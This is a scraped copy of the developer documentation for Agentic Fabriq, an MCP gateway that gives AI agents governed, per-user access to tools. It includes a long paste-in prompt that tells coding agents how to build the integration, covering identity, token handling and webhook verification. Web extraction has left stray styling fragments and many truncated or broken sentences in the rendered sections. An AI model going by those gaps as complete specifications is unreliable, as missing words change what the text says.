# Agentic Fabriq — Documentation (full text) Source: https://www.agenticfabriq.com/docs The full text of the Agentic Fabriq documentation, published for AI agents and crawlers. ================================================================================ ## Welcome URL: https://www.agenticfabriq.com/docs Section: Getting Started Start building with Agentic Fabriq. Give your agents governed access to your tools — one MCP endpoint, per-user credentials, permissions enforced on every call, and a full audit trail. Who connects the tools: Building with a coding agent? Drop the Developer Agent Prompt into Claude Code, Cursor, or Codex A copy-paste prompt that has your coding agent build the Fabriq integration for you — auth, tool listing, calls, and error handling included. What you get Everything your agents need, governed. One endpoint, every tool. Connect your agent to Fabriq once — every integration your organization has connected is available to it, behind one governed MCP endpoint. your-agent claude-code ⬡ Fabriq Gmail Slack GitHub Postgres Auth per user, not per app. Each person connects their own accounts. Credentials live in the vault and attach server-side at call time — agents never hold them. MAYA@ACME · CONNECTIONS ✓ connected tokens live in the vault — injected per call Permissions decided per call. Default-deny grants resolve org → team → member, down to single actions — with holds for the sensitive ones. Changes apply on the next call. read_tickets · allowed issue_refund · not granted for kim@ edit_tickets · denied Every action on the record. Who asked, which agent acted, the tool, and the verdict — one audit trail across every agent, user, and tool. Popular guides Integrated tools + custom tools via OpenAPI & MCP JetBrains Mono 1px solid #E2E5E9 1px solid #0A0A0A 1px solid #C3D9A0 1px solid #F0BDB8 1px solid #F4CFA8 5px 9px 2px dashed #C7CDF8 , background: Fabriq Developer Developer Quickstart Developer Agent Prompt Connecting Your Users Triggers & Webhooks The Basics MCP Client Setup SDK & CLI Token Broker Guide External Users (B2B2C) Your product’s agents acting for your customers, per user. Custom Tools (API / MCP) CLI Reference (afctl) Every afctl command, flag by flag. All connectors 5px 9px 1px solid #E2E5E9 , background: , background: , background: , background: maya@ · ap-bot-01 · create_bill kim@ · support-bot · issue_refund not granted dana@ · qa-bot-03 · export_docs 1 1 auto 3px 7px ================================================================================ ## The Basics URL: https://www.agenticfabriq.com/docs/quickstart Section: Getting Started The Basics This doc explains the basic steps you need to take to set up your agents with Agentic Fabriq. 1. Decide Which Tools Your Agent Needs Start by deciding which tools you want your agent to use. If the tools are already integrated with Agentic Fabriq, there is no extra setup work for the tool itself. If your agent needs custom tools, go to Admin Console / Control Panel Custom Integrations , click Add Integration , and follow the setup flow. Fill out the parameters based on the kind of tool you are adding. For more detail, see Custom Tools (API / MCP) 2. Set User Tool Permissions In order for a user, including yourself, to use tools with an agent, that user needs access to those tools. All users start with no tool privileges unless you are on the starter tier. If you are on the starter tier, you can skip this step. If you are on a paid tier, you have your own org. Go to Members Admin Console / Control Panel and click a member. Each member has two permission areas: Manage General Tool Permissions defines what that user is allowed to connect to any agent in your org. Manage Permissions by Agent shows what that specific user is allowed to do with each agent. When you register an agent, Agentic Fabriq automatically populates the user-agent permissions with the intersection of the agent permissions and the user's general tool permissions. After agents are registered, you can override permissions for a specific user and a specific agent. 3. Register Your Agent Next, go to the Agents tab in the Admin Console / Control Panel to register your first agent. Click Add Agent and fill out the required parameters. Once you register the agent, you will receive a client ID and client secret. Store these somewhere safe. These are the credentials your agent will use to call Agentic Fabriq. 4. Add Tool Connections to the Agent Now that your agent's permissions are set and you know which users have access to the agent, users can add tool connections to the agents they have been given access to. Go to My Agents in the side panel. Click Manage for the agent that you want to connect tools to. Click Add Connection , fill out the fields, finish creating the connection, and then click Connect to connect your agent to that tool. 5. Call Agentic Fabriq from Your Agent Your agent is now permissioned per user and has access to the tool connections you connected to it. The final step is to have your agent call the Agentic Fabriq MCP server to access those tools. Reference the setup guides, or have your coding agent reference them, to implement the calls in your agent's code. Store the client ID and client secret you received when registering the agent in a .env file or your team's secret manager. MCP Client Setup Guide Use Agentic Fabriq's MCP server from your agent. Token Broker Guide Get OAuth tokens and call tool APIs yourself. How Scoping Works Agent and user permissions overlap into agent-user pair permissions Agent Permissions Agent-User Pair Permissions User Permissions Agent Permissions Set by going to Admin Console / Control Panel -> Agents , then registering an agent or managing an existing one. User Permissions Set by going to Admin Console / Control Panel -> Members -> click a member -> Manage General Tool Permissions Agent-User Pair Permissions Automatically calculated from the overlap. You can edit overrides at Members -> click a member -> Manage Permissions by Agent ================================================================================ ## Developer Quickstart URL: https://www.agenticfabriq.com/docs/dev-quickstart Section: Fabriq Developer Developer Quickstart: Connect a User's Tool to Your AI App Let your app's users connect their own Gmail, Slack, Notion or GitHub account, then call those accounts from your agent. One tested path, from install to a first successful tool call. Fabriq Developer Python SDK TypeScript SDK Fabriq Developer is for building products whose agents act on your users' own accounts — their Gmail, their Slack, their Notion — without those users ever creating an Agentic Fabriq account. You keep the customer relationship. Agentic Fabriq holds the credentials, and governs and records every call made against them. The shape, end to end: your app authenticates its own user with your own login; you ask Agentic Fabriq for a connect URL and send that one user to it; they authorise at the provider themselves; the credential lands in Agentic Fabriq's vault. Afterwards, every call that names the same user uses the stored connection. Your agent never holds a long-lived credential — it mints a short-lived, user-scoped token per unit of work. The five steps below are one path , not a menu. Pick Python or TypeScript at step 2 and stay in that track; nothing else here is a decision you have to make to get a first call working. 1. Register an agent In the console, go to Agents → Register . You get back an app ID app secret The app secret is shown once . Store it in your backend's secret manager. It authenticates your server to Agentic Fabriq. Everything in this list is server-side only. None of it belongs in frontend code, in version control, in a browser, or in an agent's prompt or tool arguments: AF_APP_SECRET — proves which app is calling. AF_PRIVATE_KEY — the private half of the signing key, also shown once. Agentic Fabriq stores only the public half. AF_WEBHOOK_SIGNING_SECRET — verifies that a webhook delivery really came from Agentic Fabriq. The user-scoped tokens for_user mints. Do not store, log or return them; cache them in memory, per user. The one credential your backend never holds at all is your user's own. It goes from the provider straight into Agentic Fabriq's vault. Two settings on the agent matter for this flow, both under Settings → Connect & webhooks : the redirect URL your users return to after connecting, and (optionally) a webhook URL so your backend is told when a connection completes even if the user closes the tab. 2. Install the SDK Availability, checked 29 October 2026. The Python package is published and current. The TypeScript package is not on npm yet, so the TypeScript track below is a reference for the shape of the client rather than something you can install today. Take the Python path for a working first call. Both clients read their credentials from the environment, so a quickstart fits on one screen: Environment variable Used for May leave your backend? AF_APP_ID Your agent's app ID Not a secret, but there is no reason to ship it AF_APP_SECRET Your agent's app secret Never AF_BASE_URL Override the Agentic Fabriq host Not a secret AF_PRIVATE_KEY Optional signing key — see proving who the user is Never AF_WEBHOOK_SIGNING_SECRET Verifying webhook deliveries — see Triggers & Webhooks Never 3. Connect a user's tool initiate_connection returns a URL. Send your user there; they approve at the provider; the credential lands in Agentic Fabriq's vault. It never passes through your backend. Python TypeScript This is the step to get exactly right: how your user becomes the user in the call. You pass the request sub id user_id userId request.state request.session request.user request.auth external_user_id on the API call. That id is your own primary key. A different id is a different person with a different set of connected accounts, so never reuse one id for several people. A client-supplied identity is never proof of who the user is. Do not derive the id from model output, from a tool argument, or from any client-supplied value — including every query parameter on the OAuth callback, which is a browser redirect and therefore attacker-controlled. A callback naming a different user than the session is logged and ignored. Never fall back to a shared or default id: if the id cannot be resolved, fail the request with a See Connecting Your Users' Tools for the extractor hook, the one explicit escape hatch for background jobs, and how to prove the user with a signed assertion instead of a shared secret. Optional arguments: connection_id "default" , letting one user hold several accounts for the same provider) and scopes (merged with the scopes configured on the agent). 4. Make a governed tool call for_user mints a short-lived, user-scoped token and hands back a session whose identity is already baked in — no method on it takes a user id. Python Optional, once that call works: if you are driving a model rather than calling tools directly, the session converts the same tool list into the shape your provider expects. Load the tools first — the adapters read the cached list: TypeScript The TypeScript SDK deliberately does not wrap an MCP client. It gives you the token and the URL; hand them to the MCP client you already use. Point your client at session.mcpUrl and speak JSON-RPC 2.0 — tools/list tools/call /mcp/external mcpUrl from the token response over a hand-built path. Tokens are short-lived — 900 seconds for_user per request is the intended pattern rather than a waste. If the tool list comes back empty, the token is not the problem. Either the connection is not connected configured Connecting Your Users' Tools 5. What just happened X-App-Id X-App-Secret app_id:secret also works). SDK call HTTP endpoint create_user initiate_connection for_user session.call_tool POST /mcp/external (JSON-RPC 2.0, bearer token) External Users (B2B2C) The CLI comes with the Python SDK Installing agentic-fabriq-sdk afctl . The commands most useful while building: Full command reference: CLI Reference (afctl) What to read next Connecting Your Users' Tools The external-user model in full: identity, API-key tools, reconnects. Triggers & Webhooks Get called when a connection completes or a provider event fires. Sessions, Logs & Usage What you can see about what your agents did. Integration Catalogue Every connector, its tools, and how it is connected. @agenticfabriq/sdk ================================================================================ ## Developer Agent Prompt URL: https://www.agenticfabriq.com/docs/dev-agent-prompt Section: Fabriq Developer # Developer Agent Prompt Paste everything between the markers into Claude Code (or another coding agent) when you are wiring **Agentic Fabriq developer edition** into your product — your own end users connect their own Gmail, Slack, GitHub, or Notion accounts, and your agent calls those tools on their behalf. This is the prompt for the developer edition (`pip install agentic-fabriq-sdk`, imports as `af_sdk`), where you hold an app id and secret and every call names one of your end users. If you are building an agent that runs inside your own organization instead — your employees, your workspace, governed centrally — use the [General Agent Prompt](/docs#af-coding-agent-prompt) under Fabriq Enterprise. Every claim marked `[VERIFIED]` in the prompt was checked against the live API at `dashboard.agenticfabriq.com`. The prompt tells the coding agent to trust the API over the document where the two disagree, so it stays useful as the platform moves. Open your codebase in the coding agent and paste everything between the `===== PROMPT START =====` and `===== PROMPT END =====` markers below as a single message. ```text ===== PROMPT START ===== You are wiring Agentic Fabriq (DEVELOPER edition — not Fabriq Enterprise) into this codebase so our agent can call third-party tools on behalf of OUR OWN end users. Read all of this before you write anything. Everything marked [VERIFIED] was confirmed against the live API at dashboard.agenticfabriq.com; where your observations differ, trust the API and update this document. THE MODEL, IN ONE PARAGRAPH We are the seller. We registered an app with Agentic Fabriq and hold AF_APP_ID / AF_APP_SECRET. Our end users are "external users": they never get an Agentic Fabriq account. Every call names one of them by an external user id WE choose — our own primary key, e.g. "user_8412". A different id is a different person with a different set of connected accounts. To connect an account we ask AF for a URL, send that one end user to it, and they authorise at the provider themselves; credentials land in AF's vault and never touch our servers. Afterwards, any call naming that id uses the stored connection. The agent never holds a long-lived credential: it mints a short-lived (900s) user-scoped token per unit of work. STEP 0 — CHECK WHAT THE SDK ACTUALLY SHIPS pip install agentic-fabriq-sdk # imports as `af_sdk` The seller-facing facade (af_sdk.b2b2c.AgenticFabriq with for_user / initiate_connection / to_anthropic_tools) exists in the vendor's source tree but [VERIFIED through 0.1.87] is ABSENT from the published wheel, and @agenticfabriq/sdk is not on npm. Check your installed version first: python -c "from af_sdk.b2b2c import AgenticFabriq" # ImportError = not shipped If it imports, use it and skip the adapter below. If not, what the wheel does ship is MCPClient with first-class B2B2C support — build a thin adapter over it plus the REST endpoints in the next section, keeping the facade's ergonomics (for_user(request), dangerously_use_raw_user_id=, per-user token cache). Isolate the adapter in one package so it can be deleted when the facade ships. One SDK divergence to know: B2B2C tokens CANNOT be refreshed in place — af_sdk raises AuthenticationError on expiry and tells you to mint a new one. Cache per user and re-mint ~60s before the 900s expiry. THE REST SURFACE — all [VERIFIED] App-scoped — headers X-App-Id + X-App-Secret (+ X-App-Assertion when signing): POST /api/v1/apps/{app_id}/external-users {"external_user_id": "..."} create an end user (409 = exists, fine) POST /api/v1/apps/{app_id}/external-users/{uid}/token {} -> {access_token, expires_in: 900, mcp_url, ...} claims: sub=ext:, is_external_user=true, app_id, auth_level, aud=mcp GET /api/v1/apps/{app_id}/external-users/{uid}/connections DELETE /api/v1/apps/{app_id}/external-users/{uid}/connections/{connection_id}?tool={provider} The ?tool= param is REQUIRED (422 without it): connection_id defaults to "default" for EVERY provider, so a user with two tools connected has two rows sharing that id — without ?tool= the delete is ambiguous and could revoke the wrong account. POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate {"connection_id": "default", "scopes": [...optional...]} -> {oauth_url, state, connection_id, credential_source} POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate {"connection_id": "default"} paste-a-key providers -> {connect_url, connection_id, expires_in: 300} GET /api/v1/apps/{app_id}/external-users/providers/capabilities -> per provider: {oauth, key_connect, link_connect, af_app_configured, org_app_supported, app_unavailable_message, instance_required, af_app_configured_by_instance, af_app_instance_scope} Route on oauth || key_connect ONLY. The rest describe or explain. Console-scoped — Authorization: Bearer (app creds get 401): /api/v1/triggers... trigger management ONLY MCP — Authorization: Bearer : POST /mcp/external JSON-RPC tools/list, tools/call CONNECTING AN ACCOUNT IS APP-SCOPED. Do not use POST /api/v1/connections/ initiate (console-scoped; app creds 401 there) — that is the wrong route. Only triggers need a console token. TRAPS THAT COST REAL DEBUGGING TIME — every one [VERIFIED] 1. /mcp vs /mcp/external. MCPClient defaults mcp_url to the INTERNAL /mcp route. External-user tokens must use /mcp/external — and BOTH routes answer 200 for an external token, so the wrong one fails SILENTLY. Always pass mcp_url explicitly; prefer the mcp_url field from the token response when non-null, falling back to /mcp/external. Pin this with a test. 2. Provider names are SURFACES, not vendors — and the authoritative list is the capabilities endpoint, never a list in a document, including this one. The convention: one key per surface (google_calendar, google_drive — not `google`, which is the organization-app key, a different namespace, and is rejected); the console may display "X (Twitter)" but the API accepts only `twitter`. An unknown name 400s with the valid list — read that error, it is accurate. Do not treat a provider's absence from any prose list as evidence it cannot be connected. 3. The success response key is oauth_url (or connect_url for key-connect). 4. A LISTED CONNECTION IS NOT A WORKING ONE. initiate writes a row BEFORE the user reaches the provider. status distinguishes them: configured row exists, nothing else does — yields ZERO tools connected consent completed, credential in vault — usable Key ALL user-facing state off status == "connected". Do NOT infer from granted_scopes being non-empty: some providers legitimately grant none (Supabase fixes permissions at app registration). Abandoned `configured` rows accumulate (no reaper) — treat them as debris when counting. 5. tools/list has TWO gates: the connection must exist AND the agent's grants must intersect the connection's scopes. connected-with-zero-tools is a real state — surface it honestly in your UI ("connected but no actions live") instead of showing "On" while the agent can do nothing. 6. Tool names may be vendor-prefixed: google_gmail_archive_message belongs to gmail. When attributing tools to providers, check the first TWO name segments against known slugs, not just the first. 7. LOCAL DEV PORT: the AF gateway itself may occupy localhost:8000 (and `localhost` can resolve to ::1 for one server while yours binds 127.0.0.1 — curl works while the browser hits the wrong process). Run your app on a different port and make the console Redirect URL match it exactly. 8. If the agent is ACTION-mode (console: "Action-based"), its grants live in the actions table; historically the initiate did not derive scopes from them. If a completed consent yields fewer tools than the agent has actions, diff the authorize URL's scope= parameter against the connection row's granted_scopes before blaming the console config — the URL tells you what was actually REQUESTED, and a scope never requested can never be granted. ONE-TIME CONSOLE SETUP (agent page → Connect & webhooks) Redirect URL REQUIRED for any connect. Checked FIRST, so leaving it empty masks every other misconfiguration behind "B2B2C OAuth callback URL not configured". Plain http://localhost:/... is accepted for dev. This is AF's redirect target back to YOU — providers only ever see AF's own callback. Webhook URL + "Generate signing secret" -> AF_WEBHOOK_SIGNING_SECRET. The signed channel for connection.completed / connection.needs_reauth. Note AF cannot reach localhost — use a tunnel for real deliveries. Generate key Ed25519 for signed assertions (below). Private half shown ONCE -> AF_PRIVATE_KEY. Do not enable "Require signed assertions" until a signed request succeeds. Create users automatically optional; if off, token issuance 404s for unknown ids — call create_user first either way (it is idempotent) so the integration survives the toggle. DRIVE CONNECTABILITY FROM THE CAPABILITIES ENDPOINT — DO NOT HARDCODE Which providers have an AF-owned OAuth app is DEPLOYMENT STATE, not a property of your code, and it changes without notice. Call GET .../providers/capabilities on page load and branch IN THIS ORDER. A provider may offer more than one path; prefer OAuth whenever it is available, because the user authorises at the provider instead of having to supply a credential. The credentials route is the FALLBACK, not the default. THE CONTRACT IS `oauth || key_connect` — TWO BRANCHES, NO THIRD. Every provider that can be connected at all answers true to one of them. If you find yourself wanting a third route, you have misread a descriptor flag as a routing flag; see branch 3. 1. oauth && af_app_configured -> POST .../oauth/{provider}/initiate, redirect the user to oauth_url 2. oauth && !af_app_configured && org_app_supported -> the block is on YOUR ORG registering its own provider app (Tools Guide → provider → "Use your company's own app") — say "not available on this deployment yet", never "no app exists", and never imply the end user did something wrong. If key_connect is also true, offer branch 3 instead of dead-ending. 3. key_connect=true -> POST .../credentials/{provider}/initiate, redirect the user to connect_url. ONE DOOR FOR EVERY NON-OAUTH PROVIDER — there is no second route to find and no provider that needs one. READ THE FLAG'S NAME CAREFULLY: key_connect means "connect through the credentials initiate". It does NOT mean "the user pastes a key". AF hosts the page and decides what it asks for: a credential to paste for most providers, or a sign-in, a QR scan or a pairing code for the linked-account ones (whatsapp, instagram, telegram, linkedin), which have NOTHING to paste and show no input boxes at all. Your code is identical either way — redirect, then wait for the callback. The URL is SINGLE-USE and expires in 300s — mint it per click. Never cache it, pre-generate it on page load, or send it by email. link_connect tells you WHICH page the user will see, so your button can say "Scan a QR code" instead of "Paste your API key". It is for UI COPY ONLY. Never branch on it, never gate a button on it, never treat it as a third route — the routing flag is key_connect. 4. none of the above -> no end-user connect flow exists BRANCHES 1 AND 3 ARE BOTH END-USER SELF-SERVICE. There is no admin-entered credential path for external users: every credential, OAuth grant or pasted key, is supplied by the end user on a page AF hosts. Do not route key_connect providers to an admin, a console step, or a shared credential — doing so silently gives every one of your users the same account. The only thing an org admin ever supplies is the OAuth CLIENT app in branch 2, and even then the end user still completes consent themselves. af_app_configured reports the platform client — the same value every real OAuth path reads — but NOT whether a given user already holds a BYO credential; it answers "can a fresh external user connect here", which is the question a connect UI asks. instance_required is a DISPLAY HINT ONLY: the provider is addressed through a workspace subdomain or host (Unipile, for example). AF's hosted page collects it — do not build a field for it and do not pass it to initiate. Use it to set expectations ("you'll need your workspace subdomain") before you send the user over. app_unavailable_message is the sentence an initiate WOULD return if no application resolved at any tier. It comes from the function that raises it, so it cannot drift from the real error — show it rather than writing your own "unavailable" copy. Empty string means connectable. credential_source on the OAuth initiate response names which app the grant ran through (AF's platform client, or your org's own). Informational — not a branch. Same for af_app_configured_by_instance and af_app_instance_scope, which refine af_app_configured for per-instance providers. The response SHAPE, trimmed to one provider of each kind. DO NOT COPY THESE VALUES INTO A FIXTURE — they are deployment state and the field set grows. Fetch the real response and commit that (VERIFY item 8): {"gmail": {"oauth": true, "key_connect": false, "link_connect": false, "af_app_configured": true, "org_app_supported": true, "app_unavailable_message": "", "instance_required": false}, "whatsapp": {"oauth": false, "key_connect": true, "link_connect": true, "af_app_configured": true, "org_app_supported": false, "app_unavailable_message": "", "instance_required": false}} The generated map of which providers fall in which branch is the Provider Auth Catalogue at /docs#provider-auth (OAuth providers, API-credential providers, and hosted sign-in providers). Read it for shape; branch on the endpoint. gmail takes branch 1 and ends at oauth_url. whatsapp takes branch 3 and ends at connect_url: key_connect is true because that is the ROUTE, and link_connect is true to tell your UI the page asks the user to sign in rather than paste anything. whatsapp is only the example — instagram, telegram and linkedin are identical in every respect, so handle the SET, never one case. Both end with YOUR END USER connecting their own account. Nothing here is an admin step. HOW THE END-USER ID IS SUPPLIED — unchanged, and the part to get exactly right Two ways, both resolving to the same external user id: 1. for_user(request) — read the signed-in user's id from OUR auth session (sub / id / user_id / userId on request.state, request.session, request.user, request.auth; extractor=lambda r: ... for unusual shapes). 2. for_user(dangerously_use_raw_user_id="user_8412") — REQUIRED for workers, cron, queue consumers, webhook handlers, scripts. Spelled that way to stand out in review, not because it is forbidden. A bare positional string must raise TypeError. NEVER derive the id from model output, a tool argument, or any client-supplied value — including EVERY query parameter on the OAuth callback, which is a browser redirect and therefore attacker-controlled. A callback naming a different user than the session is logged and ignored. Never fall back to a shared or default id; if the id cannot be resolved, fail the request with 401. SIGNED ASSERTIONS (auth_level: app_asserted -> app_signed) — [VERIFIED] format The shared secret proves which APP is calling; AF takes your word for which USER. An Ed25519 assertion proves the user too. Header X-App-Assertion, compact JWS, alg EdDSA (pinned server-side — the header's alg is ignored). Claims, ALL required: iss=, sub=, aud="agentic-fabriq", jti=, iat, exp with exp-iat <= 60s (use 30s for clock skew). Requires assertion_public_key registered on the app, else 400 "No signing key is registered". THE CONNECT CALLBACK (your Redirect URL — BOTH flows land here) AF appends: status=success, tool, connection_id, external_user_id (error path: status=error, tool, reason). OAuth consent and the AF-hosted credential page return to the SAME Redirect URL with the same parameters, so ONE handler covers both — do not build a second route for key_connect, and do not assume a pasted credential confirms somewhere else. NOTE the provider field is `tool` — on the callback query, and on connection rows. NONE of it is signed: treat it as a UI hint, resolve the user from your session, and confirm by re-reading GET .../connections filtered to status == "connected". Never render success from the query string alone, and never show success for a `configured` row. The signed confirmation channel is the connection.completed webhook. RECEIVING WEBHOOKS (triggers + connection events — one verifier covers both) body: {event_id, org, app, provider, event_type, subject_user, occurred_at, payload}; headers: X-AF-Signature, X-AF-Timestamp expected = hex HMAC-SHA256(signing_secret, f"{timestamp}.{raw_body}") Compare with hmac.compare_digest against the RAW bytes (any json.loads/dumps round-trip breaks the MAC), reject timestamps older than 300s, dedupe on event_id (deliveries retry: 3 attempts, 5s timeout, backoff on 5xx; 4xx not retried), return 2xx fast and do work in the background. subject_user is trusted ONLY BECAUSE the signature verified — it names whose session to open, via dangerously_use_raw_user_id. Triggers themselves are console-scoped and need a paid plan; the connection.* webhooks do not. RULES - Do NOT invent tool names — call get_tools() and use what returns. - Do NOT store, log, or return a token. Cache in memory per user, re-mint ~60s before expiry, drop the cached token on invalidate_user() and on connection.needs_reauth. - Do NOT add an OAuth client library or collect provider credentials in your own UI. The paste-a-key flow is AF-hosted: the ticket rides in the URL FRAGMENT so it never reaches a server log or Referer. - Do NOT reuse one external user id for several people. - On an auth error, surface it — never retry under a different identity. A 403 on external-user calls usually means B2B2C is disabled for the app (console setting, not code). - Central exception handlers, not per-route try/except — one forgotten route otherwise leaks a 500. VERIFY BEFORE YOU FINISH — run these, do not assume them 1. Identity: unauthenticated request -> 401; ?user_id=victim on any route (including the callback) is ignored in favour of the session; a bare positional id raises TypeError. 2. MCP route: test pins that your client passes mcp_url explicitly and it ends in /mcp/external. 3. Connect: the URL from initiate is actually redirected to or rendered; the callback resolves identity from the session and reports only status=="connected" rows as success. 4. Tokens: nothing greps for a token in logs; cache is per-user; expiry re-mints rather than refreshes. 5. Webhooks: valid delivery 2xx, tampered body 401, stale timestamp 401, replayed event_id deduped — exercised with the real signing secret. 6. End to end: connect one real account, then make one real tool call through the agent and check the reply contains provider data. tools/list returning [] is ambiguous (no connection? two-gate filter? wrong route?) — a completed tool call is the only proof the chain works. 7. If something upstream looks broken, isolate it the way that gets it fixed: fresh request ids, a control provider that works on the same credentials in the same minute, and the narrowest reproduction you can write down. 8. Capability fixtures: call providers/capabilities ONCE for real and commit that response as your fixture. Do NOT hand-write a capabilities dict from this document or any other. A mock you wrote yourself proves your code matches your assumption, not that it matches the API. If a provider is missing a flag you expected, that IS the finding — treat unknown as UNKNOWN, never as unsupported. ===== PROMPT END ===== ``` ## What the coding agent will build - A capability check that reads `providers/capabilities` on load, so the connect UI offers only what this deployment can actually connect. - A connect route with exactly two branches, on `oauth || key_connect`: OAuth providers go to `oauth/{provider}/initiate` and a redirect to `oauth_url`; everything else goes to `credentials/{provider}/initiate` and a redirect to the AF-hosted `connect_url` — whether that page asks for a pasted credential or a sign-in. Both send the signed-in end user to a page AF controls, and neither is an admin step. - A call path that mints a short-lived user token, points MCP at `/mcp/external` explicitly, and lists tools before handing them to your model. - A callback and webhook pair that resolves identity from your own session, verifies `X-AF-Signature` over the raw body, and reports success only for connections whose `status` is `connected`. ## Related - [Developer Quickstart](/docs#dev-quickstart) — the same integration written by hand. - [Provider Auth Catalogue](/docs#provider-auth) — which connect flow every provider uses. - [Connecting Your Users' Tools](/docs#dev-users) — the connection lifecycle in detail. - [Triggers & Webhooks](/docs#dev-triggers) — creating triggers and verifying deliveries. - [Integration Catalogue](/docs#tools-catalogue) — every provider your users can connect. ================================================================================ ## Connecting Your Users' Tools URL: https://www.agenticfabriq.com/docs/dev-users Section: Fabriq Developer Connecting Your Users' Tools The external-user model: how your app's users connect their own Gmail, Slack or Notion accounts, and how your agent acts on them without your backend ever holding their credential. Fabriq Developer External users OAuth & API keys The model external users — external to Agentic Fabriq, internal to you. They never create an Agentic Fabriq account and never see the Agentic Fabriq console. The connection is keyed to that user id and reused on every later call, so step one happens once per user per tool, and steps two and three happen on every request. Prerequisites A registered agent with b2b2c_enabled set. Without it, every external-user endpoint answers Its app ID and app secret, kept server-side. A redirect URL ( b2b2c_oauth_callback_url ) — where your user lands after connecting. Identity: you pass the request, not a user id Both initiate_connection for_user take your framework's request or session object. The SDK reads the user id from the session your own auth already established. This is deliberate. If a user id were a parameter, it would be something your code — or an agent inside it — could get wrong or invent. With no id to pass, the SDK acts as whoever your framework says is signed in, and nobody else. A client-supplied identity is never proof of who the user is. every query parameter on the OAuth callback . The id you resolve is your own primary key, and a different id is a different person with a different set of connected accounts — so never reuse one id for several people. What the SDK recognises sub id user_id userId , on the request itself and inside the usual containers ( user session auth currentUser request.state request.session . That covers Clerk ( req.auth ), Auth0 / NextAuth, Passport and Express ( req.user ), express-session, and FastAPI / Starlette. If yours is not recognised, pass an extractor: An extractor that returns nothing means "could not authenticate": the SDK raises rather than falling back to some default user. The escape hatch Sometimes you genuinely hold a trusted id — a background job acting for a known user. Say so explicitly, with a keyword that is hard to type by accident and easy to grep for in review: TypeError . That is the guard working, not a bug. Rules for the id itself At the API level the field is external_user_id . It must be non-empty, at most 255 characters — those break internal routing and vault paths. It is unique per organization, so the same id in two of your agents is the same person. OAuth tools: a login URL , which answers with: The SDK returns oauth_url directly. Send your user there. The state 10 minutes ; the provider redirects back to Agentic Fabriq, the code is exchanged server-side, and the tokens go straight into the vault. Providers with an external-user OAuth flow These are the values provider accepts today. Anything else returns 400 Unsupported OAuth provider Integration Catalogue lists every connector Agentic Fabriq supports; the subset above is what the external-user connect flow can currently drive end to end. Where your user lands afterwards b2b2c_oauth_callback_url status tool connection_id external_user_id in the query string. Errors go to Agentic Fabriq's own hosted result page rather than to yours. Everything else: the credentials endpoint Some products have no OAuth flow worth running. Same call, one extra argument. Your user pastes their own key on an Agentic Fabriq page; it is validated against the provider before anything is stored; you still never see it. notion key_connect Provider Auth Catalogue key_connect means “connect through the credentials initiate” — not “the user pastes a key”. Agentic Fabriq hosts the page and decides what it asks for. Most providers ask for a credential. The four linked-account providers — WhatsApp, Instagram, LinkedIn and Telegram — ask the user to sign in : a QR scan, a pairing code, or the provider’s own sign-in form. They have no credential to paste and show no input boxes. Your code is the same either way: call this endpoint, redirect, wait for the callback. link_connect key_connect oauth || key_connect connect_url The ticket lives in the URL fragment Referer header. It is single-use and expires in 5 minutes. The user gets 3 attempts to enter a valid credential. The credential is probed against the provider before it is stored, so a typo fails on the page rather than at the first tool call. This is an end-user flow, not an admin one. key_connect providers/capabilities rather than hardcoding a list. The connection is stored and reused connection_id . The credential itself lives in the vault, at a path derived from those same values — never in a database column and never in a response body. It is read server-side, at the moment a call executes. It is not returned to your backend, it is not returned to your agent, and it never appears in a prompt or a tool result: the model sees the tool's output, not the token that fetched it. On a tool call, your agent passes nothing for_user connection_id , Agentic Fabriq auto-selects that user's connection for the tool's provider. connection_id "default" connection_id in the tool arguments. How a call runs, once a user is connected for_user mints a short-lived JWT whose claims name the subject — is_external_user: true app_id auth_level aud: "mcp" Authorization: Bearer tools/list tools/call POST /mcp/external , and that is all it sends. Agentic Fabriq reads is_external_user , resolves the connection belonging to that external user, attaches the stored credential, calls the provider, and returns the result. Pass the MCP URL explicitly — prefer the mcp_url /mcp/external /mcp route can fail quietly. Pin it with a test. tools/list returns only what this user can actually do, and it is gated twice: the connection must exist and the agent's grants must intersect that connection's scopes. So an empty list has two honest readings. The connection is not live. An initiate writes a row before the user reaches the provider: status: "configured" status: "connected" status granted_scopes — some providers legitimately grant none. The scopes do not overlap. Connected-with-zero-tools is a real state. Say so in your UI ("connected, but no actions live") rather than showing "On" while the agent can do nothing. status =="" Sessions, Logs & Usage One user's connection is not reachable under another Tool connections are isolated per external user: one of your users cannot reach another's connections. The isolation is not a filter you apply — it falls out of the key. Every connection is addressed by organization, agent, external user id, tool and connection_id , and the vault path is derived from those same values. A token is scoped to exactly one external user and one application, and it is the only thing your agent presents, so there is no parameter on a tool call that could widen it to a second user. Two consequences worth designing around: the id is unique per organization , so the same id in two of your agents is the same person and will see the same connections; and because identity is the key, reusing one external user id for several people merges their accounts. Use your own primary key, or an opaque id — ids appear in URLs and logs, so do not put sensitive data in them. Users Agentic Fabriq has never seen Requesting a token for an unknown user returns . Implicit creation is off by default, and that is on purpose: it makes a typo an error instead of a silently-created ghost user. The SDK handles this for you — for_user creates the user and retries once (set auto_provision=False autoProvision: false on the constructor to turn that off). If you call the API directly, create the user first: await af.create_user("sarah_42", email="") . Creating a user who already exists is not an error. How strongly was the user proven? Every token records auth_level — how the user was established. It answers a question a shared secret alone cannot: did a human authorize this, or did an app merely say so? The value rides on the token and is shown against every live session in the console. auth_level What it proves How a token gets it app_asserted Your app named this user, under its shared secret The default. You request a token; Agentic Fabriq takes your word. app_signed Your app named this user under a key we cannot forge You sign a short-lived assertion with a private key Agentic Fabriq never holds. user_present A human was at the keyboard, moments ago The user just completed a connection and Agentic Fabriq witnessed it. sso_session An organization member signed in through SSO Console sessions — not part of the external-user flow. Climbing to app_signed Generate a key under Settings → Connect & webhooks . You keep the private half; Agentic Fabriq stores only the public half — which is exactly what makes a signed assertion worth more than a shared secret. Configure it and the SDK signs automatically: X-App-Assertion Require signed assertions , after which unsigned token requests are refused with a 401. user_present POST /api/v1/external-users/presence/token for a token carrying auth_level: "user_present" . Presence is not renewable — "a human was here" is a statement about a moment, and it decays. To act as a present user again, send them through the connect flow again. When a credential stops working Two different things expire here, on two different clocks, and they are handled in opposite ways. Keep them apart. Your agent's token: re-minted, never refreshed The user-scoped token for_user 900 seconds by default and cannot be refreshed in place AuthenticationError and you mint a new one. The Python client already does this for you — it caches per user and re-mints about 60 seconds before expiry — so calling for_user invalidate_user() connection.needs_reauth . Never store, log or return one. The stored provider credential: the user re-consents expired connection.needs_reauth webhook — once, naming the user, provider and connection_id reason replace and send the user there: See Triggers & 